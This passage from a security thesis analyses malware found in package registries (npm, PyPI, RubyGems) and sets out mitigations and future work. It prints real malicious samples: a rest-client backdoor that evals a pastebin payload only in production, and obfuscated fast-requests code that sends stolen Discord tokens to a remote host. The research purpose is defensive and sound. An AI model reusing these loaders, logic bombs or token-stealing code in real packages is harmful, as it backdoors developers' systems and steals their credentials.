Sep 2019, with the exception from Jun 2017 to Dec 2017 due to data loss. As shown in

Figure 4.12, mironanoru.zzz.com.ua, a domain used in rest-client [179], has 10 hits in

Aug 2019, but drops to almost zero in Sep 2019. This matches the fact that rest-client

is uploaded and removed in Aug 2019, which shows effectiveness of supply chain attacks

and validates our intuition that a large user base can help timely remediate security risks.

n.cdn-radar.com, a domain used in AndroidAudioRecorder [201], has hits until Sep 2019,

showing infection even after its removal in Dec 2018. Further inspection reveals that no

CVE or public advisory is created for this incident and the victims may not be aware of

this issue, implying the need of notification channels. Additionally, ptpb.pw, a domain used

in acroread [193], permanently shutdown in Mar 2019 [230] due to service abuse from

cryptominers, implying possibility of correlating malware campaigns using DNS queries
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1 def _!
2 begin
3 yield
4 rescue Exception
5 end
6 end
7

8 _!{
9 Thread.new{ loop{

10 _!{ sleep 900;
11 eval(open(’https://pastebin.com/raw/5iNdELNX’).read)}
12 }}
13 if Rails.env[0]=="p"}

Listing 4.4: rest-client [179] uses anti-analysis techniques such as benign service abuse,
multi-stage payload, logic bomb and non-latest release.

1 var _0xb303=["\x64\x69\x73\x63\x6F\x72\x64\x2E\x6A\x73","\x72\x65\x71\x75\x65\x73\x74","\
x6F\x6E","\x63\x61\x74\x63\x68","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x65\x6E\x6E\x61\x6B\
x75\x76\x69\x73\x30\x74\x70\x69\x2E\x78\x2E\x70\x69\x70\x65\x64\x72\x65\x61\x6D\x2E\
x6E\x65\x74\x2F\x69\x6E\x64\x65\x78\x2E\x70\x68\x70\x3F\x64\x65\x62\x75\x67\x3D","","\
x70\x6F\x73\x74","\x74\x68\x65\x6E","\x6C\x6F\x67\x69\x6E"];

2 const Discord=require(_0xb303[0]);
3 const Yoga= new Discord.Client();
4 const request=require(_0xb303[1]);
5 exports[_0xb303[2]]= function(_0x96cdx4){
6 Yoga[_0xb303[8]](_0x96cdx4)[_0xb303[7]](
7 (_0x96cdx6)=>{request[_0xb303[6]]((
8 _0xb303[4]+ _0x96cdx6+ _0xb303[5]))})[_0xb303[3]]((_0x96cdx5)=>{return})}

Listing 4.5: fast-requests [236] uses code obfuscation to defeat analysis.

and necessity for online services to be abuse-resistant.

4.5.4 Anti-analysis Techniques

While manually checking malicious payloads, we notice that malware have been evolving

and leveraging various anti-analysis techniques to defeat detection. Inspired by previous

works on evasive malware [231, 232, 233, 234, 235], we enumerate and categorize tech-

niques used in these supply chain attacks, to raise the community’s attention and aid future

analyses.

Benign Service Abuse. Attackers can abuse benign services to hide themselves and cir-

cumvent protection mechanisms. For example, Listing 4.4 shows that rest-client [179]

abuses the pastebin.com service to host their second-stage payload, making defense tech-

niques based on DNS queries ineffective. Similarly, AndroidAudioRecorder [201] uses
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DNS tunneling to leak sensitive information, abusing the DNS service which is usually

allowed by intrusion detection systems (IDS). From DNS query point of view in Fig-

ure 4.12, pyconau-funtimes [237] successfully hides the attacker among normal users of

0.tcp.ngrok.io, a service for establishing secure tunnels.

Multi-stage Payload. Since AV tools are mostly based on signatures, malware tend to

hide their logic and footprint for fingerprinting by segmenting malicious logic into multiple

stages and including minimal code snippets. For example, Listing 4.4 contains only payload

fetching, code generation and error handling, and hides its malicious logic such as stealing

environment variables and backdooring infected hosts in the second-stage payload from

pastebin.com.

Code Obfuscation. Existing studies [238, 239] classify malware obfuscation techniques

into categories such as randomization obfuscation, encoding obfuscation, logic structure

obfuscation etc., and point out that malware can obfuscate code to hide malicious logic

from both manual inspection and automatic detection. We find supply chain attacks are

no different. For example, both getcookies [205] and purescript [207] use encoding

obfuscation. Similarly, fast-requests [236] in Listing 4.5 uses randomization obfuscation

and encoding obfuscation to defeat analysis.

Logic Bomb. TriggerScope [240] defines a logic bomb as malicious application logic that

is executed, or triggered, only under certain (often narrow) circumstances. Logic bombs

can be used to defeat both static and dynamic malware analysis approaches. For example,

dynamic analysis of rest-client [179] would never execute the malicious payload if it

isn’t executed in a production environment (Line 8 in Listing 4.4).

Older Version. Several malware [204, 179] published through account compromise utilize

unique techniques to defeat analysis. Rather than publishing the malicious payload to the

latest version of a package (i.e. maximize the volume of victims, which in turn increases the

probability of being caught), attackers instead publish these payloads to older versions of

the package to target a smaller number of victims. We imagine the attacker’s intuition is
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1 eval(Net::HTTP.valid_get(URI(
2 "https://raw.github.com/benjaminleesmith/
3 evaled_snippets/master/db_console.rb")))

Listing 4.6: Suspicious but benign code snippet from net_http_detector.

that developers using older versions are less cautious about security, thus maximizing attack

persistence and minimizing detection probability.

4.5.5 Security Analysis Hurdles

While iteratively labeling suspicious packages, we encountered several seemingly malicious

behaviors which turned out to be benign. We enumerate them to increase awareness in the

research community and help avoid pitfalls, while hoping that RM will specify policies to

define and regulate such behaviors.

Installation Hook. During installation, some packages fetch data from online services

and locally evaluate or write them to sensitive locations. For example, stannp uses

c.docverter.com to convert its README to RST format, and meshblu-mailgun tries

to skip the build process by checking availability of pre-built binaries at cdn.octoblu.com.

Such behaviors are similar to malicious activities and would confuse automated analyses.

Dynamic Code Loading. Loading code at runtime is considered as suspicious by mobile

stores, since it can be abused to inject unknown code into apps. However, some benign

packages locally evaluate payloads from network. For example, net_http_detector in

Listing 4.6 evaluates payload from github.com.

User Tracking. PM may want to track users for improving user experience or increasing

business, but the boundary between information stealing and user tracking is unclear without

well-defined policies. For example, rsa-compat, one of the packages under investigation

due to lack of user tracking policies (Figure 4.11), collects Node.js runtime and operating

system metrics, and sends them back to https://therootcompany.com.
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4.6 Mitigation

The goal of our study was to not only bring attention to this overlooked problem, but also

to provide guidance to stakeholders in the package manager ecosystem for detecting and

mitigating supply chain attacks. In this section, we discuss the general mitigation strategies

for each stakeholder and the limitations of the MALOSS pipeline which RM may extend

on, and help improve the security posture of the ecosystem.

4.6.1 Mitigation Strategies

Registry Maintainers. RM are the central authorities in the ecosystem. We elaborate

their mitigation strategies based on the three types of features presented in Table 4.1, i.e.

functional, review and remediation.

(1) Functional Feature: RM can significantly improve account protection by providing

MFA and code signing, blocking weak or compromised passwords and detecting abnormal

logins. They can also combat typosquatting by detecting typos at the registry client side and

preventing typos of popular packages from publishing. In addition, RM can publish policies

to guard ownership transfer, to regulate package behaviors such as tracking users without

notification in rsa-compat, and to rule out unwanted packages such as restclient which

claims to be a typo-guard gem without proof of their own innocence.

(2) Review Feature: RM can extend MALOSS to identify packages with (i) names similar

to existing popular packages or related to existing attacks using metadata analysis, (ii)

suspicious API usages and taint flows using static analysis, (iii) unexpected runtime behav-

iors using dynamic analysis. The iterative labeling process in MALOSS can be scaled by

crowd-sourcing manual reviews. Since the package manager ecosystem is an open source

community with stakeholders such as PM and Dev, they can be involved to secure the

ecosystem. In particular, when RM detects a suspicious package version, it can broadcast

this information to the corresponding developers or publish its analysis results for “social
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voting”.

(3) Remediation Feature: Since RM hold the central authority, they can not only remove

malicious packages and publishers from the server, but also installed packages from the

client by comparing against blacklists. Moreover, RM can also employ various notification

channels such as emails, security advisories and client-side checks to inform stakeholders

about security incidents. Notification targets include both Dev and PM of affected packages

and their dependents. For example, the infection of AndroidAudioRecorder after removal

shown in Figure 4.12 highlights the importance of notification-based remediation.

Package Maintainers. Attack vectors targeting PM include account compromise, infras-

tructure compromise, disgruntled insider, malicious contributor and ownership transfer. PM

can protect their accounts by adopting techniques such as MFA, code signing and strong

passwords. PM can protect their infrastructure through firewall, timely patches and IDS.

PM need to be cautious about both new contributors and disgruntled insiders, and manually

inspect small packages or employ a code review system for larger packages. In addition to

enhancements, PM can help improve the ecosystem by reporting security issues to advisories,

updating dependencies to avoid known issues, joining “social voting” and avoiding security

analysis hurdles.

Developers. Although Dev cannot control upstream packages, they can follow best

practices to remediate security issues. Dev can host private registries with known secure

package versions to avoid supply chain attacks from upstream stakeholders. Dev can

periodically check security advisories and timely update to remain secure. For untrusted

packages, Dev can manually check, deploy MALOSS to vet code and isolate them at

runtime [183, 184] to avoid potential hazards. In addition, Dev can join “social voting” to

improve security analyses.

End Users. Despite no control of any provided service and software, EU can leverage AV

tools to secure their devices and protect themselves. In addition, EU can raise their security

awareness and access only official and reputable websites.
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4.6.2 MALOSS Limitations

Scope of Analysis. While prototyping MALOSS, we only consider files written in the

corresponding language for each registry in static analysis, excluding native extensions,

embedded binaries and files written in other languages. We only consider Linux platform

in dynamic analysis, in particular Ubuntu 16.04, excluding other Linux distributions, Win-

dows and MacOS environments. We only consider runtime dependencies, thus ignoring

development dependencies.

Inaccurate Static Analysis. MALOSS relies on existing AST parsing and taint analysis

tools in static analysis, which can be inaccurate due to dynamic typing. In addition, pro-

gramming practices such as reflection and runtime code generation add to the problem, and

lead to inaccurate results. However, we argue that more accurate tools and algorithms can

be developed and integrated into MALOSS when available.

Dynamic Code Coverage. MALOSS currently performs four types of dynamic analyses

on Ubuntu 16.04, but may have limited code coverage. Possible improvements include

environment diversification (e.g. Windows, browser), force-execution [241], symbolic

execution [242] etc.

Anti-analysis Techniques. As discussed in §4.5.4, attackers have evolved and adopted anti-

analysis techniques. We expect more sophisticated techniques such as intentional vulnerable

code and heavy obfuscation to appear in the future. We solicit the future researchers to

combat evolving attackers.

4.7 Related Work

Software Supply Chain Attacks. The earliest software supply chain attack is the Thomp-

son hack in 1983, in which he left a backdoor in the compiler, and could compromise a

program even if its source code is benign. Following that, similar attacks [243, 244, 245,

246, 247] are launched, targeting various supply chain components such as infrastructure,
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operating systems, update channels, compilers and cryptographic algorithms. Recent years

witness an increasing trend of supply chain attacks targeting package managers [181, 206,

209, 193, 211, 178, 187, 204, 179], which host prebuilt packages for benefits such as code

sharing. Our work studies supply chain attacks against three popular package managers to

identify root causes, scan new threats and suggest improvements.

Package Management Security. Previous works studied the design and implementa-

tion of package managers and proposed attacks [248, 249] and defenses [250, 251, 252].

These works focus on designing a more secure package manager with properties such as

compromise-resilience and supply chain integrity. In addition, due to the rising number

of vulnerabilities and malware in the Npm ecosystem, various works [182, 253, 254, 184,

185, 186, 183] have been proposed to find new vulnerabilities, isolate untrusted packages,

evaluate risks and remediate issues. Our work differs from prior work by studying a corpus

of real-world supply chain attacks against package managers and proposing actionable

improvements and suggestions.

Security Tools. MALOSS is an extensible framework and more tools can be added

to the pipeline to generate better results. For example, static analysis tools for various

languages [255, 256, 257, 258, 259, 260, 261, 213] and binaries [128, 262] can possibly

generate more accurate and comprehensive results. Dynamic analysis tools [263, 264, 265,

266, 241, 226, 225, 267] can increase dynamic code coverage and provide support for

various platforms and environments.

4.8 Summary

To systematically study the recent supply chain attacks in the package manager ecosystem,

we propose a comparative framework, which reveals relationships among stakeholders. We

pinpoint the root causes and summarize their attack vectors and malicious behaviors. We

propose MALOSS, the first large scale analysis pipeline at package manager level, to detect

malicious packages. We identified and reported 7 malware in PyPI and 41 malware in Npm
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and 291 malware in RubyGems, out of which, 278 (82 percent) have been removed and 3

have been assigned CVEs.

We will provide the collected malware samples for research purpose on request, to aid

future research on improving security of package managers. We envision this work as a first

step towards securing the package manager ecosystem, and solicit more works on detecting

advanced malware, as well as protecting developers and end users.

128



CHAPTER 5

CONCLUSION AND FUTURE WORK

5.1 Conclusion

In this thesis, we measured and mitigated legal risks, n-day security risks and supply chain

attacks in OSS use. In Chapter §2, we built OSSPOLICE to detect and quantify legal and

security risks at scale. OSSPOLICE was used to compare 1.6M apps against 140K OSS

versions and identified over 40K potential GPL/AGPL license violators and over 100K apps

using known vulnerable OSS. In Chapter §3, we built OSSPATCHER to automatically patch

n-day security risks using publicly available source patches. OSSPATCHER is based upon

variability-aware techniques which make patch feasibility analysis and, more importantly,

source-code-to-binary-code matching possible. In Chapter §4, we presented MALOSS to

measure and prevent supply chain attacks on the open-source ecosystem. We proposed a

comparative framework to understand the attacks and the misplaced trust that makes them

possible, and a vetting pipeline to detect malware in package managers. MALOSS reported

339 malware to package manager maintainers, out of which, 278 have been confirmed and

removed and 3 with more than 100K downloads have been assigned CVEs.

5.2 Future Work

In this thesis, we have made progress toward solving the security risks of OSS use. However,

there are still unresolved risks and open problems. We elaborate them below and solicit

more works on addressing them.

Finding n-day vulnerabilities with restricted access. We presented OSSPOLICE to

detect n-day vulnerabilities by comparing applications with OSS. However, application

binaries may not be available in cases such as cloud services and IoT devices. With restricted
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access, we have attempted to use heuristics [268] to check known vulnerabilities, but this

remains a challenging problem due to visibility and ethical concerns.

Finding zero-day OSS vulnerabilities. Zero-day OSS vulnerabilities can be considered

as feeds for OSSPOLICE and OSSPATCHER since zero-day becomes n-day once disclosed.

However, this thesis does not cover how to find zero-day vulnerabilities. Fortunately, Google

has launched OSSFuzz [135] to find vulnerabilities in popular OSS and Yamaguchi et

al [269] have proposed techniques to find new vulnerabilities by learning from existing ones.

Essentially, this is a race between the OSS community and hackers, the earlier vulnerabilities

are found, the more secure the community is.

Detecting advanced supply chain attacks. As discussed in MALOSS, supply chain

attacks are evolving and more advanced techniques are in need to reveal them. We have

explored the direction of using signatures and historical changes [270] to identify malware

and diversifying environments to uncover hidden behaviors [271]. We argue that existing

malware analysis techniques and protection mechanisms can be applied or adapted to defend

against supply chain attacks.

Securing OSS usage at runtime. We presented OSSPATCHER to automatically patch

known vulnerabilities. But patches are not always available and feasible. Existing works [17,

144] can be used to find more patches and improve the portability of security patches.

However, their verification remains an open problem. We surveyed existing mechanisms in

Android [272] and found that an alternative remediation strategy to isolate untrusted [183]

or vulnerable code at runtime. However, this would face known challenges such as confused

deputies, high overhead and possible new challenges.
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